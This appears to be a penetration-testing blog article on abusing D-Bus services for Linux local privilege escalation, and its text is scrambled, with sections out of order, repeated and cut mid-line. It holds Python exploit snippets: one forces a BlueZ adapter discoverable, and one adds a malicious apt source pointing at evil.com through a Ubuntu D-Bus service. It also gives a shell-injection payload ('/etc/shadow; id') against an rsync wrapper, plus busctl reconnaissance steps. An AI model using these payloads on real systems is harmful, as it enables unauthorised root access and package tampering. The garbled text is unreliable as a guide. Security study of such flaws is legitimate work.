Dbus-1.0 Exploit Apr 2026
<policy user="nobody"> <allow own="com.vulnerable.Service"/> <allow send_destination="com.vulnerable.Service"/> </policy> If the policy is too permissive (e.g., allow user="*" ), any unprivileged local user can interact with a root-owned service. Before writing exploits, you need reconnaissance. The standard tool is busctl (from systemd) or the older gdbus . Silent Reconnaissance As an unprivileged user, you can list all services on the system bus without any authentication:
# Introspect the Bluetooth adapter introspection = await bus.introspect('org.bluez', '/org/bluez/hci0')
# Craft a method call to a method that normally requires admin # but is mis-policy'd: "SetProperty" on the adapter to force discoverable msg = Message( destination='org.bluez', path='/org/bluez/hci0', interface='org.freedesktop.DBus.Properties', member='Set', signature='ssv', body=['org.bluez.Adapter1', 'Discoverable', Variant('b', True)] )
busctl --system tree org.bluez We find /org/bluez/hci0/dev_XX_XX_XX_XX_XX_XX – a connected device. dbus-1.0 exploit
import dbus bus = dbus.SystemBus() proxy = bus.get_object('com.ubuntu.SoftwareProperties', '/com/ubuntu/SoftwareProperties') proxy.add_source('deb http://evil.com/deb ./', 'malicious', dbus_interface='com.ubuntu.SoftwareProperties') Modern D-Bus requires PolicyKit (polkit) for such actions, but many embedded devices disable this for performance. Vector 2: Argument Injection via Type Confusion D-Bus supports rich types: STRING , INT32 , ARRAY , DICT , and VARIANT . Historically, services that unsafely cast these to shell commands are vulnerable.
org.bluez – the BlueZ Bluetooth stack. Vulnerability: Many IoT vendors expose the AgentManager1 interface without the NoOutput capability check, allowing a local non-root user to pair with a device and then send arbitrary HCI commands.
busctl list This returns a list of unique IDs (like :1.123 ) and well-known names (like org.freedesktop.NetworkManager ). <policy user="nobody"> <allow own="com
Because D-Bus serializes the string faithfully, the shell will execute the injection. Modern services should use execv or API calls, but legacy dbus-1.0 wrappers often used popen() . One of the most famous dbus-1.0 -adjacent exploits involved PolKit (pkexec). While not a D-Bus bug, the attack surface was D-Bus. An unprivileged user could send a carefully crafted D-Bus message to org.freedesktop.PolicyKit1 , causing a race condition where the privilege elevation was granted to a different process than the one requesting it.
import asyncio from dbus_next.aio import MessageBus from dbus_next import Message, MessageType, Variant async def bluetooth_exploit(): # Connect to the system bus bus = await MessageBus(bus_type='system').connect()
Consider a fictional backup service that exposes a method: Backup.TransferFile(String source_path, String dest_host) Silent Reconnaissance As an unprivileged user, you can
Yet, for all its ubiquity, D-Bus is a blind spot for many penetration testers and red teams. We scan for open SMB ports, we hunt for SUID binaries, but we rarely ask: Can we talk to the system bus?
If the service does: sprintf(command, "rsync -av %s %s:/backup/", source_path, dest_host) An attacker sends: source_path = "/etc/shadow; id" (type STRING ) and dest_host = "localhost" .
Next time you land a low-privilege shell on a Linux machine, don’t run linpeas immediately. Instead, run busctl list and ask yourself: Which of these services trusts me more than it should? The answer might just be your golden ticket. Disclaimer: This article is for educational purposes only. Always obtain explicit permission before testing any system.